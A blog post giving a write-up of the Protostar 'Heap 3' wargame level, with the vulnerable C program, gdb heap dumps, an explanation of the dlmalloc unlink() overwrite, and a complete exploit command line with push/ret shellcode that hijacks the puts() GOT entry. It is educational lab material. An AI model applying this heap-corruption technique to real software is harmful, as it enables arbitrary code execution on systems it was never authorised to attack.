Saturday, January 5, 2013

exploit-exercises Protostar: Heap 3

This is the write-up for heap 3 challenge of Protostar wargame. The source code
of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
        printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
        char *a, *b, *c;

        a = malloc(32);
        b = malloc(32);
        c = malloc(32);

        strcpy(a, argv[1]);
        strcpy(b, argv[2]);
        strcpy(c, argv[3]);

        free(c);
        free(b);
        free(a);

        printf("dynamite failed?\n");
}
Initially, I expected it to be a bit harder as the target systems ships with glibc 2.11 which protects against some older attacks.
user@protostar:~/heap3$ /lib/libc.so.6
GNU C Library (Debian EGLIBC 2.11.2-10) stable release version 2.11.2, by Roland McGrath et al.
Copyright (C) 2009 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.4.5.
Compiled on a Linux 2.6.32 system on 2011-01-23.
Available extensions:
        crypt add-on version 2.1 by Michael Glad and others
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        BIND-8.2.3-T5B
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
But I found out that the binary was statically built against a malloc implementation.
user@protostar:~/heap3$ objdump -d /opt/protostar/bin/heap3 | egrep "(malloc|free).*:"
0804893c <malloc_init_state>:
08048ff2 <malloc>:
08049824 <free>:
08049a8b <malloc_consolidate>:
0804a44f <cfree>:
0804a491 <independent_comalloc>:
0804a7c5 <malloc_trim>:
0804a7f1 <malloc_usable_size>:
0804a9df <malloc_stats>:
And given that the author says in the level's description "This level introduces the Doug Lea Malloc (dlmalloc)..." it became clear that this was an older malloc implementation (which doesn't protect against unlink() attacks among others.)
This phrack paper by MaXX is a good and well explained introduction on heap overflows. For an overview of how dlmalloc works, this web page by Doug Lea himself provides a high level view.
First, let's see what happens on the heap with no fuzzy output.
(gdb) break 24
(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC
a is at 0x804c008
b is at 0x804c030
c is at 0x804c058
This is the state of memory before free(c).
(gdb) x/34x 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x43434343      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
This is the state of memory after free(c) and before free(b). Notice the value
of 0x804c058 was set to 0.
(gdb) x/34x 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
This is the state of memory after free(b) and before free(a). Notice that the value
of 0x804c030 memory address was set to 0x0804c050 which is the address of the
next free chunk (the one that was holding c.)
(gdb) x/34x 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x0804c050      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
This is the state of memory after free(a). Again, notice the value
of 0x804c030 was set to 0x0804c050 which is the address of the next free chunk.
(gdb) x/34x 0x804c000
0x804c000:      0x00000000      0x00000029      0x0804c028      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x0804c050      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
Now, with some evil input. We will overwrite the second chunk's header. We will set the prev_size (first 4 bytes) to -5 and size (following 4 bytes) to -4. We will follow these, with different values for later debugging.
(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff' + 'A'*5 + 'B'*4 + 'C'*4"` C
(gdb) next

Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c058) at common/malloc.c:3638
3638    common/malloc.c: No such file or directory.
        in common/malloc.c
(gdb) x/i $eip
0x80498fd <free+217>:   mov    %edx,0xc(%eax)
(gdb) i r
eax            0x42424242       1111638594
ecx            0x0      0
edx            0x43434343       1128481603
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff6f0       0xbffff6f0
ebp            0xbffff738       0xbffff738
esi             0x0      0
edi             0x0      0
eip             0x80498fd        0x80498fd <free+217>
eflags         0x210202 [ IF RF ID ]
cs              0x73     115
ss              0x7b     123
ds              0x7b     123
es              0x7b     123
fs               0x0      0
gs              0x33     51
Interesting! Ability to write chosen 4 bytes in a memory address of our choice. Total control.
the instruction that segfaults, tries to write the content of edx into [eax+12]. If we want to overwrite the content of puts() entry in GOT with address of winner(), we would do something like this:
BBBB: GOT[puts] - 12
CCCC: @winner()
We get the needed values.
user@protostar:~/heap3$ nm /opt/protostar/bin/heap3 | grep winner
08048864 T winner
user@protostar:~/heap3$ objdump -R /opt/protostar/bin/heap3
<snip>
0804b128 R_386_JUMP_SLOT   puts
<snip>
Let's try again.
(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C
(gdb) next


Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638    common/malloc.c: No such file or directory.
        in common/malloc.c
(gdb) x/i $eip
0x8049906 <free+226>:   mov    %edx,0x8(%eax)
(gdb) i r
eax            0x8048864        134514788
ecx            0x0      0
edx            0x804b11c        134525212
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff6f0       0xbffff6f0
ebp            0xbffff738       0xbffff738
esi             0x0      0
edi             0x0      0
eip             0x8049906        0x8049906 <free+226>
eflags         0x210202 [ IF RF ID ]
cs               0x73     115
ss               0x7b     123
ds               0x7b     123
es               0x7b     123
fs               0x0      0
gs              0x33     51
Another segfault! We made some progress though, as the responsible instruction is trying to copy GOT[puts]-12 into the address of winner() + 8. The later is in .text section which is read-only. We will have to write a shellcode and jump into it instead. But before jumping (pun intended) into that, some explanations are needed.
First, why size == -4 ? when free(c) is called, it will check whether the chunk located before c (in this case b) is unused. If this is the case, it will be taken off the doubly-linked list using the unlink() macro. Remember how to delete an element from a doubly-linked list and look at how The unlink() is defined.
#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD;                         \
}
The negative size of -4 (which has the PREV_INUSE bit unset) means that the next contiguous will be looked for 4 bytes backward from the start of the b
chunk. The phrack paper does a good job in explaining all the details of the algorithm.
Now with the exploit.
user@protostar:~/heap3$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+'\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C
that wasn't too bad now, was it? @ 1357404470
How does this work ? This time, we will ovewrrite puts()'s GOT entry with the
address of the first buffer + 4 bytes. At the first buffer, we will insert 4
filler bytes + our small shellcode which is a push @winner() / ret. The 4
padding bytes are there to escape the free(a)'s writing the address of the next
free chunk.
user@protostar:~/heap3$ cat pushret.asm
mov 0x08048864, eax
ret
user@protostar:~/heap3$ objdump -d pushret.o

pushret.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   68 64 88 04 08          push   $0x8048864
   5:   c3                      ret
Given that our shellcode is small (6 bytes), we won't need a relative jump over the 0x0804b11c that is written 8 bytes further up (by BK->fd = FD; instruction).
(gdb) x/36wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x0804c028      0x04886468
0x804c010:      0x0000c308      0x0804b11c      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x00000000      0x41414141      0x41414141      0x41414141
0x804c040:      0x41414141      0x41414141      0x41414141      0xfffffff5
0x804c050:      0xfffffff8             0xfffffffc           0xf5410043      0x94ffffff
0x804c060:      0x940804b1      0x000804b1      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
And that is it with the heap challenges.

No comments:

Post a Comment